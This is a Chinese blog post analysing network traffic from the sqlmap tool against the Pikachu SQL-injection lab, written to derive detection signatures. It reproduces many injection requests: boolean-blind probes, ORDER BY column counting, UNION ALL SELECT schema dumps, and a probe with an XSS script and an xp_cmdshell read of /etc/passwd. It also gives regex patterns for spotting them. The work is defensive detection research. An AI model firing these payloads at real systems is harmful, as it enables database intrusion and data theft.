SQLMAP攻击流量特征分析

0x01 测试对象


靶场框架:Pikachu

靶场环境:Apache 2.4.39、PHP 7.0.9、MySql 5.7.2

测试漏洞:Sql注入-字符行注入

使用工具:Sqlmap/1.5.8

流量包样本数:5 --【本文所有得出的结论均来自于对该5个流量包分析对结果,因样本数量不多,结论可能存在一定局限性

http://192.168.68.78/pikachu/vul/sqli/sqli_str.php #pikachu靶场地址

0x02 Sqlmap攻击流程


  1. sqlmap测试目标URL是否能够正常访问
  2. 判断目标URL是否受到WAF保护
  3. 测试注入参数是否是为动态参数和数据库类型
  4. 测试参数是否存在XSS攻击
  5. 对参数进行SQL注入测试
  • 判断数据库类型
  • 使用对应数据库的PAYLOAD(布尔盲注、内联注入、时间盲注、报错注入等)进行测试
  • 发现可被使用的PAYLOAD后,使用再使用对应数据库版本的PAYLOAD进行测试(MySQL >=5.5、MySQL >= 5.6 、MySQL >= 5.0.12),获取大致数据库版本
  • 尝试联合查询读取1 to 20 列数据

6.打印结果:可注入的参数、可使用的PAYLOAD与注入类型、网站使用的中间件版本、DBMS版本

0x03 抓包分析


PS:由于Sqlmap工具产生流量过多,文章仅就关键流量进行分析

sql注入抓包样本:

1.首先当我们当使用sqlmap默认命令

sqlmap -u "http://192.168.68.78/pikachu/vul/sqli/sqli_str.php?name=admin&submit=%E6%9F%A5%E8%AF%A2"

提交请求时默认的UserAgent为:sqlmap/1.5.8#stable (http://sqlmap.org)这样很容易暴露。

GET /pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询 HTTP/1.1
CACHE-CONTROL: no-cache
CONNECTION: close
USER-AGENT: sqlmap/1.5.8#stable (http://sqlmap.org)
ACCEPT: */*
HOST: 192.168.68.78
ACCEPT-ENCODING: gzip,deflate

一般黑客会在sqlmap添加--random-agent参数,来避免被发现。

可根据上述流量提取攻击特征:

  • 若攻击者使用sqlmap不添加--random-agent参数,则可通过捕获请求包的USER-AGENT字段来判断攻击者是否在使用sqlmap进行攻击

2.Sqlmap在进行初始监测时会进行一些预检测

GET /pikachu/vul/sqli/sqli_str.php?name=root&submit=查询&teEu=1187 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')# HTTP/1.1#判断数据库类型和xss语句
GET /pikachu/vul/sqli/sqli_str.php?name=root&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=4767&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=root(,.,,.)."'&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=root'fYzJCd<'">QtldwA&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=root') AND 4676=7206 AND ('OEeA'='OEeA&submit=查询 HTTP/1.1

可根据上述流量提取攻击特征:

基于Sqlmap行为的分析:

  • 先使用第一条语句(AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#)对数据库类型、XSS漏洞进行监测,而这句话几乎每次注入都是不变的,所以可以将这句话作为sqlmap的攻击特征之一
  • 然后判断系统是否存在关键字过滤(,.(,,('."()、('fYzJCd<'">QtldwA)等。

基于特征(关键字)的分析:

  • 关键语句:AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#
  • 关键字:包含【 ( , . ) " '】等6种符号随机组成的10位字段,例如 (,.,,.)."'  、 .).,"('(,) 
  • 关键字: '([A-Za-z]{6})<'"> ([A-Za-z]{6}),对<'">进行监测

3.Sqlmap开始对参数name进行AND boolean-based blind - WHERE or HAVING clause测试

GET /pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=3093&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin,.(,,('."(&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin'hcmKpa<'">NknGPm&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin') AND 9717=5822 AND ('UIrk'='UIrk&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin') AND 3051=3051 AND ('gkDr'='gkDr&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin' AND 7299=3066 AND 'GVig'='GVig&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin' AND 3051=3051 AND 'VCXZ'='VCXZ&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin) AND 4314=2816 AND (1784=1784&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin) AND 3051=3051 AND (2420=2420&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin AND 5091=7205&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin AND 3051=3051&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin AND 3987=5844-- FTud&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=admin AND 3051=3051-- KPrw&submit=查询 HTTP/1.1

可根据上述流量提取攻击特征:

基于Sqlmap行为的分析:

  • 先改变原有参数值(admin变为3093)判断参数是否为动态参数
  • 然后判断系统是否存在关键字过滤(,.(,,('."()
  • 然后进行布尔盲注的paylad测试

基于特征(关键字)的分析:

  • 正常查询参数+(\'|\)|) AND ([0-9]{4})=([0-9]{4}) AND (\'|\)|)+ ([0-9]{4})=([0-9]{4})
  • 正常查询参数+(\'|\)|) AND ([0-9]{4})=([0-9]{4}) AND (\'|\)|)+ ([A-Za-z]{4})=([A-Za-z]{4})
  • 正常查询参数+(\'|\)|) AND ([0-9]{4})=([0-9]{4}) AND  ([0-9]{4})=([0-9]{4})
  • 正常查询参数+(\'|\)|) AND ([0-9]{4})=([0-9]{4}) AND  ([0-9]{4})=([0-9]{4})-- ([A-Za-z]{4})=([A-Za-z]{4})

4.Sqlmap判断数据库表对字段数

GET /pikachu/vul/sqli/sqli_str.php?name=root' ORDER BY 1#&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=root' ORDER BY 5783#&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=root' ORDER BY 10#&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=root' ORDER BY 6#&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=root' ORDER BY 4#&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=root' ORDER BY 3#&submit=查询 HTTP/1.1
GET /pikachu/vul/sqli/sqli_str.php?name=root' ORDER BY 2#&submit=查询 HTTP/1.1

可根据上述流量提取攻击特征:

基于Sqlmap行为的分析:

  • 先判断是否当前表是否只有1个字段
  • 然后随机判断一个4位数字段
  • 最后值从10、6、4、3、2

基于特征(关键字)的分析:

  • ORDER BY

5.Sqlmap获取数据库字段

样本1:
GET /pikachu/vul/sqli/sqli_str.php?name=root' UNION ALL SELECT CONCAT(0x71707a7071,JSON_ARRAYAGG(CONCAT_WS(0x716c6a757373,schema_name)),0x71716a7a71),NULL FROM INFORMATION_SCHEMA.SCHEMATA#&submit=查询 HTTP/1.1

样本2:
GET /pikachu/vul/sqli/sqli_str.php?name=admin' UNION ALL SELECT CONCAT(0x7170786271,JSON_ARRAYAGG(CONCAT_WS(0x787463776368,schema_name)),0x71787a6b71),NULL FROM INFORMATION_SCHEMA.SCHEMATA#&submit=查询 HTTP/1.1

可根据上述流量提取攻击特征:

基于Sqlmap行为的分析:

  • 当查询dbs时,sqlmap会先查询数据库版本,再查询可使用的数据库

基于特征(关键字)的分析:

  • 正常查询参数+' UNION ALL SELECT CONCAT(16进制数,JSON_ARRAYAGG(CONCAT_WS(16进制数,schema_name)),16进制数),NULL FROM INFORMATION_SCHEMA.SCHEMATA@#

0x04 Sqlmap特征总结


  • sqlmap的关键字特征:user-agent、 xss测试语句、随机数的位数
  • sqlmap的攻击流程具有一定的顺序和规律
  • sqlmap的一些payload测试语句具有模板特征

  • 18
    点赞
  • 40
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
分析sqlmap流量的方法可以通过以下几个途径进行: 1. 流量特征分析:根据引用所示,我们可以通过查看HTTP请求中的User-Agent字段来判断是否为sqlmap流量sqlmap的User-Agent通常包含关键字"sqlmap",因此可以通过检查User-Agent字段中是否包含"sqlmap"来判断是否是sqlmap流量。 2. 基于特征(关键字)的分析:根据引用所示,我们可以通过检查HTTP请求中的关键字来判断是否为sqlmap流量sqlmap的关键字特征包括user-agent、xss测试语句、随机数的位数等。因此,我们可以通过检查HTTP请求中是否包含这些关键字来判断是否是sqlmap流量。 3. 其他分析方法:除了上述方法,还可以根据sqlmap攻击流程和payload测试语句的特征来判断是否是sqlmap流量sqlmap攻击流程具有一定的顺序和规律,而payload测试语句通常具有模板特征。因此,我们可以通过分析HTTP请求中的顺序、模板特征等来判断是否是sqlmap流量。 综上所述,我们可以通过流量特征分析、基于特征的分析以及其他分析方法来判断是否是sqlmap流量。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [sqlmap流量攻击分析](https://blog.csdn.net/chenfeng857/article/details/121400286)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [SQLMAP攻击流量特征分析](https://blog.csdn.net/asaotomo/article/details/121685080)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值